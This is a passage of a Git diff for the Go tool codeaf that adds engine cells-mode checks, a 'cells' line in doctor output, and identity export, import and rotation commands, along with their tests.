@@ type doctorSnapshot struct { // worth changing: the command exists to tell somebody why nothing works, // and a missing key is the most common answer there is. Key keyReport - Now time.Time + // Cells is what the cells' working files hold against the disk budget, "" when + // they hold nothing. + Cells string + Now time.Time } // fallbackKeyEnv is the OpenAI-shaped variable [config.Load] accepts when the @@ -135,6 +138,7 @@ func runDoctorWith(args []string, output io.Writer, dailyBudget float64, overrid // The key is read from the same profile, and for the same reason: `--db` // moves the store and moves nothing about who this machine can talk to. snapshot.Key = readKeyReport(strings.TrimSpace(env.Get(config.ProfileDirEnv))) + snapshot.Cells = cellsUsage() _, err = io.WriteString(output, formatDoctor(snapshot)) return err } @@ -312,6 +316,9 @@ func formatDoctor(snapshot doctorSnapshot) string { if standing := strings.Join(standingParts, " · "); standing != "" { block += fmt.Sprintf("%-16s %s\n", "standing", standing) } + if snapshot.Cells != "" { + block += fmt.Sprintf("%-16s %s\n", "cells", snapshot.Cells) + } if line := formatCallLog(snapshot.CallLog); line != "" { block += fmt.Sprintf("%-16s %s\n", "model calls", line) } diff --git a/cmd/codeaf/emptiness_test.go b/cmd/codeaf/emptiness_test.go index 64706b4f43..3c9ed4c426 100644 --- a/cmd/codeaf/emptiness_test.go +++ b/cmd/codeaf/emptiness_test.go @@ -24,7 +24,7 @@ func TestTheHeadlessFooterLeavesOutWhatIsZero(t *testing.T) { Deliverable: "nothing ran", Artifacts: []string{}, stop: stopError, }) printed := out.String() - for _, claim := range []string{"0s", "0 nodes", "$0.0000", "$0.00"} { + for _, claim := range []string{"0s", "0 parts", "$0.0000", "$0.00"} { if strings.Contains(printed, claim) { t.Fatalf("a run that measured nothing still printed %q:\n%s", claim, printed) } @@ -39,7 +39,7 @@ func TestTheHeadlessFooterLeavesOutWhatIsZero(t *testing.T) { Deliverable: "done", Artifacts: []string{}, Seconds: 12, Nodes: 3, Spend: 0.4213, }) printed = out.String() - for _, want := range []string{"12s", "3 nodes", "$0.42"} { + for _, want := range []string{"12s", "3 parts", "$0.42"} { if !strings.Contains(printed, want) { t.Fatalf("the footer dropped %q, which this run really did:\n%s", want, printed) } diff --git a/cmd/codeaf/engine.go b/cmd/codeaf/engine.go index 211a7bd060..ffaa4119e0 100644 --- a/cmd/codeaf/engine.go +++ b/cmd/codeaf/engine.go @@ -53,6 +53,7 @@ import ( "time" "github.com/Agent-Field/codeaf/internal/buildinfo" + "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/enginehost" "github.com/Agent-Field/codeaf/internal/remote" @@ -248,6 +249,9 @@ type engineBuild struct { // Binary is the file this process runs from, "" when the platform will // not say. Binary string + // Cells is the cells mode this process runs in. A host answers with its + // own, and the door settles the two ([settleCellsMode]). + Cells bool } // thisEngineBuild is the build that is running, measured the way a host @@ -257,6 +261,7 @@ func thisEngineBuild() engineBuild { Build: buildinfo.Identity(), BuiltAt: enginehost.BuildMoment(), Binary: enginehost.ThisBinary(), + Cells: cell.Enabled(), } } @@ -312,12 +317,12 @@ func clearStaleEngineHostAs(workspace string, me engineBuild) (string, error) { } host := held.Self if held.Answered && sameEngineBuild(host, me) { - return "", nil + return settleCellsMode(workspace, host, me) } if held.Answered && !host.BuiltAt.Before(me.BuiltAt) { // A NEWER BUILD (or a tie) IS NOT REPLACED FROM HERE. Same wire: join it. if host.Version == remote.Version { - return "", nil + return settleCellsMode(workspace, host, me) } return "", &staleHost{reason: newerEngineHostSentence(hostWorkspace(host, workspace))} } @@ -335,6 +340,59 @@ func clearStaleEngineHostAs(workspace string, me engineBuild) (string, error) { return replacedEngineHostSentence(held), nil } +// settleCellsMode is the last question before joining a host: does it run in +// this process's cells mode? A host reads CODEAF_CELLS once, when it starts, so +// one started with cells off would serve every later chat with cells off and +// nothing would ever migrate. There is no silent mismatch. An idle host is asked +// to retire and the next line of the door starts one in this mode, with one line +// saying so; a host holding work is left exactly as it is and refused in words. +func settleCellsMode(workspace string, host remote.HostSelf, me engineBuild) (string, error) { + if host.Cells == me.Cells { + return "", nil + } + err := enginehost.Retire(workspace, false) + if errors.Is(err, enginehost.ErrHostBusy) { + return "", &staleHost{reason: cellsHostBusySentence(host.Cells, hostWorkspace(host, workspace))} + } + if err != nil { + return "", err + } + return cellsRestartedSentence(me.Cells), nil +} + +// cellsMode is a mode as a person types it. +func cellsMode(on bool) string { + if on { + return "on" + } + return "off" +} + +// cellsRestartedSentence is the line owed for replacing an idle host. +func cellsRestartedSentence(now bool) string { + return fmt.Sprintf("restarted the idle engine because it ran with cells %s; it runs with cells %s now", cellsMode(!now), cellsMode(now)) +} + +// cellsHostBusySentence is the refusal for a host in the other mode that is +// still holding work. It names the workspace in the command, for the reason +// [staleEngineHostSentence] gives. +func cellsHostBusySentence(hostCells bool, workspace string) string { + stop := "codeaf engine --stop" + if workspace = strings.TrimSpace(workspace); workspace != "" { + stop += " --workspace " + workspace + } + return fmt.Sprintf("engine: the engine on %s runs with cells %s and something is still going in it — let that finish, or run %s, then open again", + machineOrThis(), cellsMode(hostCells), stop) +} + +// machineOrThis is this machine's name, or "this machine" when it has none. +func machineOrThis() string { + if name := strings.TrimSpace(remote.MachineName()); name != "" { + return name + } + return "this machine" +} + // sameEngineBuild is the host being this build: the same wire, the same source, // and — when the host names its file — the same file. A host that does not name // its file is judged on the source alone, which is every host from before the @@ -564,9 +622,12 @@ func writeEngineStatus(out io.Writer, workspace string, held enginehost.Holder, fmt.Fprintf(out, " started %s (%s ago)\n", host.Started.Local().Format("2006-01-02 15:04"), roughAge(now.Sub(host.Started))) } if held.Answered { + fmt.Fprintf(out, " cells %s\n", cellsMode(host.Cells)) fmt.Fprintf(out, " windows %d attached · %s open\n", host.Surfaces, countWord(host.Conversations, "conversation", "conversations")) if host.Busy { fmt.Fprintln(out, " working yes — a turn, a task or a question is in flight") + } else if host.Conversations > 0 { + fmt.Fprintf(out, " holding idle chats keep their lock for %s after the last window closes, then the engine lets go\n", roughAge(enginehost.SessionIdleAfter())) } } stop := "codeaf engine --stop" @@ -723,6 +784,7 @@ func runEngineHost(workspaceFlag, sessionFlag string) error { return fmt.Errorf("open %s: %w", workspace, err) } err = enginehost.Run(workspace, enginehost.Options{ + Cells: cell.Enabled(), Boot: func(hello remote.Hello) (*remote.Engine, error) { return bootEngine(hello, workspace, sessionFlag) }, // usage writer owner: see CloseUsage after the host returns @@ -980,7 +1042,7 @@ func bootEngine(hello remote.Hello, workspaceFlag, sessionFlag string) (*remote. Workspace: workspace, SessionFile: transcript, Resumed: resumed, - Note: notice, + Note: v3Interrupted(cfg, notice), // The shape this conversation ended up with, for the surface to compare // against what it asked for. It is the shape that was APPLIED, so a // hello that joined a conversation somebody else opened reads the other diff --git a/cmd/codeaf/engine_cells_test.go b/cmd/codeaf/engine_cells_test.go new file mode 100644 index 0000000000..f659314697 --- /dev/null +++ b/cmd/codeaf/engine_cells_test.go @@ -0,0 +1,74 @@ +package main + +// The door and the cells mode of the engine it finds. An engine reads +// CODEAF_CELLS once, so the door must never attach to one in the other mode +// without saying so. + +import ( + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/buildinfo" + "github.com/Agent-Field/codeaf/internal/enginehost" + "github.com/Agent-Field/codeaf/internal/remote" +) + +func sameBuildHost(cells, busy bool) remote.HostSelf { + return remote.HostSelf{Version: remote.Version, Build: buildinfo.Identity(), Cells: cells, Busy: busy} +} + +func TestAnIdleEngineInTheOtherCellsModeIsRestarted(t *testing.T) { + shortEngineHome(t) + workspace := "/home/somebody/api" + standIn(t, workspace, sameBuildHost(false, false), false) + me := thisEngineBuild() + me.Cells = true + + note, err := clearStaleEngineHostAs(workspace, me) + if err != nil { + t.Fatalf("an idle engine in the other mode was refused: %v", err) + } + if !strings.Contains(note, "cells off") || !strings.Contains(note, "cells on now") { + t.Fatalf("the restart line does not name both modes: %q", note) + } + if conn, err := enginehost.Dial(workspace); err == nil { + _ = conn.Close() + t.Fatal("the engine in the other mode was still answering") + } +} + +func TestABusyEngineInTheOtherCellsModeIsRefusedAndLeftRunning(t *testing.T) { + shortEngineHome(t) + workspace := "/home/somebody/api" + standIn(t, workspace, sameBuildHost(false, true), false) + me := thisEngineBuild() + me.Cells = true + + _, err := clearStaleEngineHostAs(workspace, me) + if err == nil { + t.Fatal("a busy engine in the other mode was attached to in silence") + } + for _, want := range []string{"cells off", "codeaf engine --stop --workspace " + workspace} { + if !strings.Contains(err.Error(), want) { + t.Fatalf("the refusal %q does not say %q", err, want) + } + } + if conn, err := enginehost.Dial(workspace); err != nil { + t.Fatalf("a busy engine was stopped: %v", err) + } else { + _ = conn.Close() + } +} + +func TestAnEngineInTheSameCellsModeIsJoinedWithoutAWord(t *testing.T) { + shortEngineHome(t) + workspace := "/home/somebody/api" + standIn(t, workspace, sameBuildHost(true, true), false) + me := thisEngineBuild() + me.Cells = true + + note, err := clearStaleEngineHostAs(workspace, me) + if err != nil || note != "" { + t.Fatalf("a matching engine was not joined quietly: %q, %v", note, err) + } +} diff --git a/cmd/codeaf/engine_stale_test.go b/cmd/codeaf/engine_stale_test.go index 83ed4b5a98..eb97074e3f 100644 --- a/cmd/codeaf/engine_stale_test.go +++ b/cmd/codeaf/engine_stale_test.go @@ -15,6 +15,7 @@ import ( "encoding/json" "errors" "fmt" + "github.com/Agent-Field/codeaf/internal/cell" "net" "os" "os/exec" @@ -153,7 +154,7 @@ var ( func TestAHostOfThisBuildIsSplicedOntoWithoutAWord(t *testing.T) { shortEngineHome(t) workspace := "/home/somebody/api" - standIn(t, workspace, remote.HostSelf{Version: remote.Version, Build: buildinfo.Identity()}, false) + standIn(t, workspace, remote.HostSelf{Version: remote.Version, Build: buildinfo.Identity(), Cells: cell.Enabled()}, false) note, err := clearStaleEngineHost(workspace) if err != nil { diff --git a/cmd/codeaf/exec.go b/cmd/codeaf/exec.go index 10f3e4c3af..caa1148f4b 100644 --- a/cmd/codeaf/exec.go +++ b/cmd/codeaf/exec.go @@ -128,7 +128,7 @@ func runExec(args []string) error { } defer closeRouter(client) - ctx, stopSignals := signal.NotifyContext(traced, os.Interrupt, syscall.SIGTERM) + ctx, stopSignals := signal.NotifyContext(hostSeated(traced), os.Interrupt, syscall.SIGTERM) defer stopSignals() deadline := execDeadline(*maxTokens, wall.wall) if wall.wall > 0 { diff --git a/cmd/codeaf/helpwidth_test.go b/cmd/codeaf/helpwidth_test.go index 8fc26378f4..efdd6bc077 100644 --- a/cmd/codeaf/helpwidth_test.go +++ b/cmd/codeaf/helpwidth_test.go @@ -127,6 +127,7 @@ func helpPages(t *testing.T) []helpPage { {"why", runWhy}, {"cache", runCache}, {"devices", runDevices}, + {"pair", runPair}, {"plan new", func(args []string) error { return runPlanNew("plan new", args) }}, {"plan run", func(args []string) error { return runGraph("plan run", args) }}, {"patch", runPatch}, diff --git a/cmd/codeaf/hostseat_test.go b/cmd/codeaf/hostseat_test.go new file mode 100644 index 0000000000..afea3ec721 --- /dev/null +++ b/cmd/codeaf/hostseat_test.go @@ -0,0 +1,7 @@ +package main + +import "github.com/Agent-Field/codeaf/internal/executor/executortest" + +// These tests call tools with no session around them, so those calls run on +// the host seat by name; production still refuses a call that lost its session. +func init() { executortest.Host() } diff --git a/cmd/codeaf/identity.go b/cmd/codeaf/identity.go new file mode 100644 index 0000000000..770391f447 --- /dev/null +++ b/cmd/codeaf/identity.go @@ -0,0 +1,165 @@ +package main + +import ( + "errors" + "fmt" + "io" + "os" + "slices" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/keys" +) + +const identityUsage = "usage: codeaf identity show | codeaf identity export [] | codeaf identity import [--replace] | codeaf identity rotate [--grace 7d] [--yes] [--abandon]" + +// identityDoor is what a verb may touch: the codeaf home, where it writes, and +// how a passphrase is asked for (with a second entry when it is being chosen). +type identityDoor struct { + home string + out io.Writer + passphrase func(confirm bool) (string, error) + // in is where a yes or no is read, and rotation opens the rotation of this + // computer's identity; only `rotate` uses them. + in io.Reader + rotation rotationFactory + now func() time.Time +} + +// identityVerbs maps the word after `identity` to what it does. +var identityVerbs = map[string]func(d identityDoor, args []string) error{ + "show": identityShow, + "export": identityExport, + "import": identityImport, + "rotate": identityRotate, +} + +// runIdentity is the door onto the person's identity. Like `cell` it is +// machinery, off the help page, and refused only when CODEAF_CELLS=0 turns cells off. +func runIdentity(args []string) error { + if !cell.Enabled() { + return errors.New("codeaf identity needs cells, and CODEAF_CELLS=0 turned them off") + } + return runIdentityAt(args, identityDoor{home: home.Dir(), out: os.Stdout, passphrase: askPassphrase, in: os.Stdin, rotation: realRotation, now: time.Now}) +} + +func runIdentityAt(args []string, d identityDoor) error { + if len(args) == 0 { + return errors.New(identityUsage) + } + verb, ok := identityVerbs[args[0]] + if !ok { + return errors.New(identityUsage) + } + return verb(d, args[1:]) +} + +func identityShow(d identityDoor, args []string) error { + if len(args) != 0 { + return errors.New(identityUsage) + } + id, err := identity.Ensure(d.home) + if err != nil { + return err + } + dev, err := identity.Device(d.home) + if err != nil { + return err + } + fmt.Fprintf(d.out, "id %s\nfingerprint %s\ncell key id %s\ndevice %s\n", + id.ID(), id.Fingerprint(), id.CellKeyID(), dev.ID()) + return nil +} + +func identityExport(d identityDoor, args []string) error { + if len(args) > 1 { + return errors.New(identityUsage) + } + id, err := identity.Ensure(d.home) + if err != nil { + return err + } + phrase, err := d.passphrase(true) + if err != nil { + return err + } + blob, err := identity.Export(id, phrase) + if err != nil { + return err + } + if len(args) == 0 { + _, err = fmt.Fprintf(d.out, "%s\n", blob) + return err + } + return os.WriteFile(args[0], append(blob, '\n'), 0o600) +} + +func identityImport(d identityDoor, args []string) error { + replace := slices.Contains(args, "--replace") + files := slices.DeleteFunc(slices.Clone(args), func(a string) bool { return a == "--replace" }) + if len(files) != 1 { + return errors.New(identityUsage) + } + blob, err := os.ReadFile(files[0]) + if err != nil { + return err + } + phrase, err := d.passphrase(false) + if err != nil { + return err + } + id, err := identity.Import(blob, phrase) + if err != nil { + return err + } + replaced, err := identity.Adopt(d.home, id, replace) + if err != nil { + return err + } + fmt.Fprintf(d.out, "imported %s (%s)\n", id.ID(), id.Fingerprint()) + if replaced && keys.Exists(d.home) { + fmt.Fprintln(d.out, "secrets sealed under the previous identity cannot be read now") + } + return nil +} + +// askPassphrase reads a passphrase without echo on a terminal, else one line +// from stdin. Choosing one (confirm) asks twice on a terminal. +func askPassphrase(confirm bool) (string, error) { + if !connectInputIsTTY(connectInput) { + return readPassphraseLine(connectInput) + } + first, err := promptSecret("passphrase: ") + if err != nil || !confirm { + return first, err + } + again, err := promptSecret("again: ") + if err == nil && again != first { + err = errors.New("the two passphrases differ") + } + return first, err +} + +func promptSecret(prompt string) (string, error) { + fmt.Fprint(usageErr, prompt) + raw, err := connectReadPassword(connectInput.Fd()) + fmt.Fprintln(usageErr) + return nonEmpty(string(raw), err) +} + +func readPassphraseLine(in io.Reader) (string, error) { + raw, err := io.ReadAll(io.LimitReader(in, 1<<16)) + line, _, _ := strings.Cut(string(raw), "\n") + return nonEmpty(strings.TrimRight(line, "\r"), err) +} + +func nonEmpty(phrase string, err error) (string, error) { + if err == nil && phrase == "" { + err = errors.New("the passphrase is empty") + } + return phrase, err +} diff --git a/cmd/codeaf/identity_rotate.go b/cmd/codeaf/identity_rotate.go new file mode 100644 index 0000000000..a8f39e0495 --- /dev/null +++ b/cmd/codeaf/identity_rotate.go @@ -0,0 +1,193 @@ +package main + +import ( + "bufio" + "context" + "errors" + "flag" + "fmt" + "io" + "os" + "os/signal" + "sort" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/rotate" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// rotation is the part of a rotation the door drives; rotate.Env is one. +type rotation interface { + Plan(ctx context.Context) (rotate.Plan, error) + Rotate(ctx context.Context) (rotate.Result, error) + Abandon(ctx context.Context) error +} + +// rotationFactory opens the rotation of this computer's identity, with the grace +// the person asked for and a line-by-line progress sink, and answers what to +// call when it is over to tidy what it left. +type rotationFactory func(grace time.Duration, say func(string)) (rotation, func() error, error) + +// realRotation is the rotation over this computer's relay and engine. +func realRotation(grace time.Duration, say func(string)) (rotation, func() error, error) { + s, ok, err := syncsetup.OpenForRotation(home.Dir()) + if err != nil { + return nil, nil, err + } + if !ok { + return nil, nil, errors.New("a rotation needs sync: " + chatlist.SyncOff) + } + env := s.Rotation(cellstore.EngineFor(""), heldChat, deviceName(), say) + env.Grace = grace + return env, s.Tidy, nil +} + +// heldChat finds the folder a chat has on this computer, if it has one. +func heldChat(id string) (cell.Cell, bool) { + c, err := openCellByID(id) + return c, err == nil +} + +type rotateOptions struct { + grace time.Duration + yes bool + abandon bool +} + +func parseRotate(args []string) (rotateOptions, error) { + var o rotateOptions + flags := flag.NewFlagSet("rotate", flag.ContinueOnError) + flags.SetOutput(io.Discard) + flags.DurationVar(&o.grace, "grace", 0, "") + flags.BoolVar(&o.yes, "yes", false, "") + flags.BoolVar(&o.abandon, "abandon", false, "") + if err := flags.Parse(args); err != nil || flags.NArg() != 0 { + return o, errors.New(identityUsage) + } + return o, nil +} + +// identityRotate replaces the identity of every computer you keep: a new root, +// every chat and the vault sealed again under it, and the old identity retired +// by the relay after a grace period. +func identityRotate(d identityDoor, args []string) error { + opt, err := parseRotate(args) + if err != nil { + return err + } + say := func(line string) { fmt.Fprintln(d.out, line) } + rot, tidy, err := d.rotation(opt.grace, say) + if err != nil { + return err + } + defer tidy() + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) + defer stop() + if opt.abandon { + return abandonRotation(d, ctx, rot) + } + if !rotate.Pending(d.home) { + if err := confirmRotation(d, ctx, rot, opt); err != nil { + return err + } + } else { + say("finishing the rotation that was started here") + } + res, err := rot.Rotate(ctx) + if err != nil { + return err + } + return rotationCard(d, res) +} + +func abandonRotation(d identityDoor, ctx context.Context, rot rotation) error { + if err := rot.Abandon(ctx); err != nil { + return err + } + fmt.Fprintln(d.out, "rotation cancelled; nothing changed") + return nil +} + +// confirmRotation says what a rotation costs and asks. Nothing has changed yet, +// so ctrl+c or n here costs nothing. +func confirmRotation(d identityDoor, ctx context.Context, rot rotation, opt rotateOptions) error { + plan, err := rot.Plan(ctx) + if err != nil { + return err + } + fmt.Fprint(d.out, planText(plan)) + if opt.yes { + return nil + } + fmt.Fprint(d.out, "continue? y / n ") + answer, _ := bufio.NewReader(d.in).ReadString('\n') + if a := strings.ToLower(strings.TrimSpace(answer)); a != "y" && a != "yes" { + return errors.New("rotation cancelled; nothing changed") + } + return nil +} + +// planText is the plan in words: what moves, how much, about how long, and what +// it does to the other computers. +func planText(p rotate.Plan) string { + var b strings.Builder + fmt.Fprintf(&b, "%d chats", p.Chats) + if p.Missing > 0 { + fmt.Fprintf(&b, ", %d of them not on this computer (%s to fetch first)", p.Missing, megabytes(p.DownBytes)) + } + fmt.Fprintf(&b, ".\nabout %s goes up to sync; allow about %s.\n", megabytes(p.UpBytes), minutes(p.Wait)) + b.WriteString("your other computers stop syncing until you pair them again.\n") + b.WriteString("the old identity stays readable in sync for a while, then sync deletes it.\n") + b.WriteString("once it has switched this cannot be undone.\n") + return b.String() +} + +func megabytes(n int64) string { return fmt.Sprintf("%.1f MB", float64(n)/(1<<20)) } + +func minutes(d time.Duration) string { + if d < time.Minute { + return "a minute" + } + return fmt.Sprintf("%d minutes", int(d.Round(time.Minute)/time.Minute)) +} + +// rotationCard is what a person reads when it is done: what changed, what to do +// next, and, plainly, what a computer they wanted out still holds. +func rotationCard(d identityDoor, res rotate.Result) error { + names := vaultNames(d.home) + fmt.Fprintf(d.out, "rotated. your chats now belong to %s (was %s).\n", res.NewID, res.OldID) + fmt.Fprintln(d.out, "other computers: run /pair here, then `codeaf pair ` there, for each one.") + fmt.Fprintf(d.out, "the old copy in sync is read-only and is deleted on %s.\n", d.now().Add(res.RetireAfter).Format("2006-01-02")) + fmt.Fprintln(d.out, "a computer you lost still holds everything it had: your chats up to now and every secret in your vault.") + if len(names) > 0 { + fmt.Fprintf(d.out, "change these at their providers: %s\n", strings.Join(names, ", ")) + } + return nil +} + +// vaultNames lists the names of the secrets in the vault, never their values. +func vaultNames(dir string) []string { + v, err := keys.Open(dir) + if err != nil { + return nil + } + ids, _ := v.IDs("") + seen := map[string]bool{} + for _, id := range ids { + if e, err := v.Get(id); err == nil && e.Name != "" { + seen[e.Name] = true + } + } + names := make([]string, 0, len(seen)) + for n := range seen { + names = append(names, n) + } + sort.Strings(names) + return names +} diff --git a/cmd/codeaf/identity_rotate_test.go b/cmd/codeaf/identity_rotate_test.go new file mode 100644 index 0000000000..3788f5c08a --- /dev/null +++ b/cmd/codeaf/identity_rotate_test.go @@ -0,0 +1,162 @@ +package main + +import ( + "bytes" + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/rotate" +) + +// fakeRotation records what the door asked of it. +type fakeRotation struct { + plan rotate.Plan + rotate int + thawed int + err error +} + +func (f *fakeRotation) Plan(context.Context) (rotate.Plan, error) { return f.plan, nil } +func (f *fakeRotation) Rotate(context.Context) (rotate.Result, error) { + f.rotate++ + return rotate.Result{OldID: "id_old", NewID: "id_new", Chats: f.plan.Chats, RetireAfter: 7 * 24 * time.Hour}, f.err +} +func (f *fakeRotation) Abandon(context.Context) error { f.thawed++; return f.err } + +func rotationDoor(t *testing.T, f *fakeRotation, stdin string) (identityDoor, *bytes.Buffer) { + t.Helper() + out := &bytes.Buffer{} + return identityDoor{ + home: t.TempDir(), out: out, in: strings.NewReader(stdin), + now: func() time.Time { return time.Date(2026, 10, 1, 0, 0, 0, 0, time.UTC) }, + rotation: func(time.Duration, func(string)) (rotation, func() error, error) { + return f, func() error { return nil }, nil + }, + }, out +} + +// The door says what the rotation costs before it changes anything, and a no +// changes nothing. +func TestRotateAsksFirst(t *testing.T) { + f := &fakeRotation{plan: rotate.Plan{Chats: 3, Missing: 1, DownBytes: 5 << 20, UpBytes: 9 << 20, Wait: 3 * time.Minute}} + d, out := rotationDoor(t, f, "n\n") + err := identityRotate(d, nil) + if err == nil || !strings.Contains(err.Error(), "nothing changed") || f.rotate != 0 { + t.Fatalf("a no = %v, rotations %d", err, f.rotate) + } + for _, want := range []string{"3 chats", "1 of them not on this computer (5.0 MB to fetch first)", "9.0 MB goes up", "3 minutes", "cannot be undone"} { + if !strings.Contains(out.String(), want) { + t.Errorf("the plan does not say %q:\n%s", want, out) + } + } +} + +// A yes, or --yes, runs it, and the card says what a lost computer keeps. +func TestRotateCardListsSecretNames(t *testing.T) { + f := &fakeRotation{plan: rotate.Plan{Chats: 1}} + d, out := rotationDoor(t, f, "yes\n") + vault, err := keys.Open(d.home) + if err != nil { + t.Fatal(err) + } + if err := vault.Put("p/K", keys.Entry{Name: "OPENROUTER_API_KEY", Value: "sk-never-printed", Scope: "p"}); err != nil { + t.Fatal(err) + } + if err := identityRotate(d, nil); err != nil || f.rotate != 1 { + t.Fatalf("rotation = %v, runs %d", err, f.rotate) + } + text := out.String() + for _, want := range []string{"rotated. your chats now belong to id_new (was id_old)", "run /pair here", "deleted on 2026-10-08", + "still holds everything it had", "change these at their providers: OPENROUTER_API_KEY"} { + if !strings.Contains(text, want) { + t.Errorf("the card does not say %q:\n%s", want, text) + } + } + if strings.Contains(text, "sk-never-printed") { + t.Fatal("the card printed a secret's value") + } + d2, _ := rotationDoor(t, &fakeRotation{}, "") + if err := identityRotate(d2, []string{"--yes"}); err != nil { + t.Fatalf("--yes = %v", err) + } +} + +// A rotation that was started is finished without asking again. +func TestRotateFinishesWhatWasStarted(t *testing.T) { + f := &fakeRotation{plan: rotate.Plan{Chats: 2}} + d, out := rotationDoor(t, f, "") + if err := os.WriteFile(filepath.Join(d.home, rotate.File), []byte("{}"), 0o600); err != nil { + t.Fatal(err) + } + if err := identityRotate(d, nil); err != nil || f.rotate != 1 { + t.Fatalf("rotation = %v, runs %d", err, f.rotate) + } + if !strings.Contains(out.String(), "finishing the rotation that was started here") || strings.Contains(out.String(), "continue?") { + t.Fatalf("output:\n%s", out) + } +} + +func TestRotateAbandon(t *testing.T) { + f := &fakeRotation{} + d, out := rotationDoor(t, f, "") + if err := identityRotate(d, []string{"--abandon"}); err != nil || f.thawed != 1 || f.rotate != 0 { + t.Fatalf("abandon = %v, thaws %d, runs %d", err, f.thawed, f.rotate) + } + if !strings.Contains(out.String(), "rotation cancelled; nothing changed") { + t.Fatalf("output:\n%s", out) + } +} + +func TestRotateRefusesWhatItDoesNotKnow(t *testing.T) { + d, _ := rotationDoor(t, &fakeRotation{}, "") + for _, args := range [][]string{{"now"}, {"--bogus"}, {"--grace", "soon"}} { + if err := identityRotate(d, args); err == nil || !strings.Contains(err.Error(), "usage") { + t.Errorf("%v = %v, want the usage line", args, err) + } + } +} + +// With sync off there is no relay to rotate on, and nothing is done. +func TestRotateSyncOff(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + t.Setenv("CODEAF_SYNC_URL", "off") // an empty value now means the built-in default + _, _, err := realRotation(0, nil) + if err == nil || !strings.Contains(err.Error(), "needs sync") { + t.Fatalf("realRotation with sync off = %v", err) + } +} + +// Stopping a computer that holds your chats names the way to lock it out for good. +func TestDevicesRevokeSuggestsRotate(t *testing.T) { + chats, _ := chatsWith(t, "laptop") + said, err := captureStdout(t, func() error { return stopDevice([]deviceKind{chats}, []string{"laptop"}) }) + if err != nil || !strings.Contains(said, "codeaf identity rotate") { + t.Fatalf("after a stop: %q, %v", said, err) + } +} + +// A computer that rotated hands the identities it replaced to whoever it pairs, +// so a computer still on one of them may follow. +func TestPairGrantNamesWhatItReplaced(t *testing.T) { + dir := t.TempDir() + t.Setenv(home.EnvVar, dir) + gone, err := identity.Mint() + if err != nil { + t.Fatal(err) + } + if err := identity.RecordPredecessor(dir, gone.ID()); err != nil { + t.Fatal(err) + } + g, err := pairGrant(pair.Mailbox{URL: "http://relay.test"}) + if err != nil || len(g.Replaces) != 1 || g.Replaces[0] != gone.ID() { + t.Fatalf("grant replaces %v, %v", g.Replaces, err) + } +} diff --git a/cmd/codeaf/identity_test.go b/cmd/codeaf/identity_test.go new file mode 100644 index 0000000000..c3415014fc --- /dev/null +++ b/cmd/codeaf/identity_test.go @@ -0,0 +1,105 @@ +package main + +import ( + "encoding/hex" + "os" + + "bytes" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/keys" + "path/filepath" + "strings" + "testing" +) + +func door(t *testing.T, home, phrase string) (identityDoor, *bytes.Buffer) { + out := &bytes.Buffer{} + return identityDoor{home: home, out: out, passphrase: func(bool) (string, error) { return phrase, nil }}, out +} + +func TestIdentityExportImportAcrossHomes(t *testing.T) { + a, b := t.TempDir(), t.TempDir() + blob := filepath.Join(t.TempDir(), "id.blob") + da, showA := door(t, a, "pw") + if err := runIdentityAt([]string{"export", blob}, da); err != nil { + t.Fatal(err) + } + db, showB := door(t, b, "pw") + if err := runIdentityAt([]string{"import", blob}, db); err != nil { + t.Fatal(err) + } + showA.Reset() + showB.Reset() + runIdentityAt([]string{"show"}, da) + runIdentityAt([]string{"show"}, db) + if showA.String() == "" || showHead(showA.String()) != showHead(showB.String()) || showA.String() == showB.String() { + t.Fatalf("shows differ:\n%s\n%s", showA, showB) + } +} + +func TestIdentityImportRefusesOtherIdentityWithoutReplace(t *testing.T) { + a, b := t.TempDir(), t.TempDir() + blob := filepath.Join(t.TempDir(), "id.blob") + da, _ := door(t, a, "pw") + runIdentityAt([]string{"export", blob}, da) + db, _ := door(t, b, "pw") + runIdentityAt([]string{"show"}, db) // b now has its own identity + if err := runIdentityAt([]string{"import", blob}, db); err == nil || !strings.Contains(err.Error(), "--replace") { + t.Fatalf("want a --replace refusal, got %v", err) + } + if err := runIdentityAt([]string{"import", "--replace", blob}, db); err != nil { + t.Fatal(err) + } + dw, _ := door(t, b, "wrong") + if err := runIdentityAt([]string{"import", "--replace", blob}, dw); err == nil { + t.Fatal("wrong passphrase accepted") + } +} + +func TestIdentityNeedsCells(t *testing.T) { + t.Setenv("CODEAF_CELLS", "0") + if err := runIdentity([]string{"show"}); err == nil || !strings.Contains(err.Error(), "CODEAF_CELLS") { + t.Fatalf("got %v", err) + } +} + +func TestIdentityUsage(t *testing.T) { + d, _ := door(t, t.TempDir(), "pw") + for _, args := range [][]string{{}, {"nope"}, {"show", "x"}, {"import"}, {"export", "a", "b"}} { + if err := runIdentityAt(args, d); err == nil || !strings.Contains(err.Error(), "usage") { + t.Fatalf("%v: %v", args, err) + } + } +} + +// showHead is the three identity lines of `show`; the device line differs per machine. +func showHead(shown string) string { return strings.Join(strings.Split(shown, "\n")[:3], "\n") } + +// A home whose vault predates identities (vault.key, no identity.json) keeps it +// through a plain import: refused, and the vault still opens. +func TestIdentityImportKeepsAnUnmigratedVault(t *testing.T) { + old, other := t.TempDir(), t.TempDir() + v, err := keys.Open(old) + if err != nil { + t.Fatal(err) + } + v.Put("a", keys.Entry{Name: "K", Value: "kept", Scope: "p"}) + id, _ := identity.Load(old) + os.Remove(filepath.Join(old, identity.File)) + os.WriteFile(filepath.Join(old, "vault.key"), []byte(hex.EncodeToString(id.CellKey())), 0o600) + + blob := 